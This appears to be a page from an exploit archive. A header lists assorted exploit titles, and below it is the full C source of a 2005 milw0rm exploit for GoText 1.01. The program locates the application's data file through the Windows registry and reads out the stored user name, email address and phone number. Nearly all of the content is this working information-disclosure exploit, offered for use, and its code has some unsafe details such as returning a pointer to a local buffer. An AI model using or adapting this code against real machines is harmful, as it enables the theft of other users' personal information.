
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
151 lines
2.6 KiB
C
Executable file
151 lines
2.6 KiB
C
Executable file
/*******************************************************************
|
|
|
|
GoText 1.01 Local User Informations Disclosure Exploit by Kozan
|
|
|
|
Application: GoText 1.01
|
|
Vendor: StumbleInside Software - www.stumbleinside.com
|
|
Vulnerable Description: GoText 1.01 discloses user informations
|
|
to local users.
|
|
|
|
|
|
Discovered & Coded by: Kozan
|
|
Credits to ATmaCA
|
|
Web: www.netmagister.com
|
|
Web2: www.spyinstructors.com
|
|
Mail: kozan@netmagister.com
|
|
|
|
*******************************************************************/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <windows.h>
|
|
|
|
|
|
HKEY hKey;
|
|
#define BUFSIZE 100
|
|
char prgfiles[BUFSIZE];
|
|
DWORD dwBufLen=BUFSIZE;
|
|
LONG lRet;
|
|
|
|
|
|
int adresal(char *FilePath,char *Str)
|
|
{
|
|
char kr;
|
|
int Sayac=0;
|
|
int Offset=-1;
|
|
FILE *di;
|
|
di=fopen(FilePath,"rb");
|
|
|
|
if( di == NULL )
|
|
{
|
|
fclose(di);
|
|
return -1;
|
|
}
|
|
|
|
while(!feof(di))
|
|
{
|
|
Sayac++;
|
|
for(int i=0;i<strlen(Str);i++)
|
|
{
|
|
kr=getc(di);
|
|
if(kr != Str[i])
|
|
{
|
|
if( i>0 )
|
|
{
|
|
fseek(di,Sayac+1,SEEK_SET);
|
|
}
|
|
break;
|
|
}
|
|
if( i > ( strlen(Str)-2 ) )
|
|
{
|
|
Offset = ftell(di)-strlen(Str);
|
|
fclose(di);
|
|
return Offset;
|
|
}
|
|
}
|
|
}
|
|
fclose(di);
|
|
return -1;
|
|
}
|
|
|
|
|
|
char *oku(char *FilePath,char *Str)
|
|
{
|
|
|
|
FILE *di;
|
|
char cr;
|
|
int i=0;
|
|
char Feature[500];
|
|
|
|
int Offset = adresal(FilePath,Str);
|
|
|
|
if( Offset == -1 )
|
|
return "";
|
|
|
|
if( (di=fopen(FilePath,"rb")) == NULL )
|
|
return "";
|
|
|
|
fseek(di,Offset+strlen(Str),SEEK_SET);
|
|
|
|
while(!feof(di))
|
|
{
|
|
cr=getc(di);
|
|
if(cr == 0x0D)
|
|
break;
|
|
Feature[i] = cr;
|
|
i++;
|
|
}
|
|
|
|
Feature[i] = '\0';
|
|
fclose(di);
|
|
return Feature;
|
|
}
|
|
|
|
|
|
int main()
|
|
{
|
|
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",0,KEY_QUERY_VALUE,&hKey)
|
|
== ERROR_SUCCESS)
|
|
{
|
|
|
|
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
|
|
&dwBufLen);
|
|
|
|
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
|
|
{
|
|
RegCloseKey(hKey);
|
|
printf("An error occured!\n");
|
|
exit(1);
|
|
}
|
|
|
|
RegCloseKey(hKey);
|
|
|
|
}
|
|
else
|
|
{
|
|
RegCloseKey(hKey);
|
|
printf("An error occured!\n");
|
|
exit(1);
|
|
}
|
|
|
|
strcat(prgfiles,"\\GoText\\GoText.bin");
|
|
|
|
printf("GoText 1.01 Local User Informations Disclosure Exploit by Kozan\n");
|
|
printf("Credits to ATmaCA\n");
|
|
printf("www.netmagister.com - www.spyinstructors.com \n");
|
|
printf("kozan@netmagister.com \n\n");
|
|
|
|
char UserName[BUFSIZE], MailAddress[BUFSIZE], PhoneNumber[BUFSIZE];
|
|
|
|
strcpy(UserName,oku(prgfiles,"MyName="));
|
|
strcpy(MailAddress,oku(prgfiles,"MyEmail="));
|
|
strcpy(PhoneNumber,oku(prgfiles,"MyNumber="));
|
|
|
|
printf("User Name : %s\n",UserName);
|
|
printf("Mail Address : %s\n",MailAddress);
|
|
printf("Phone Number : %s\n",PhoneNumber);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2005-04-28]
|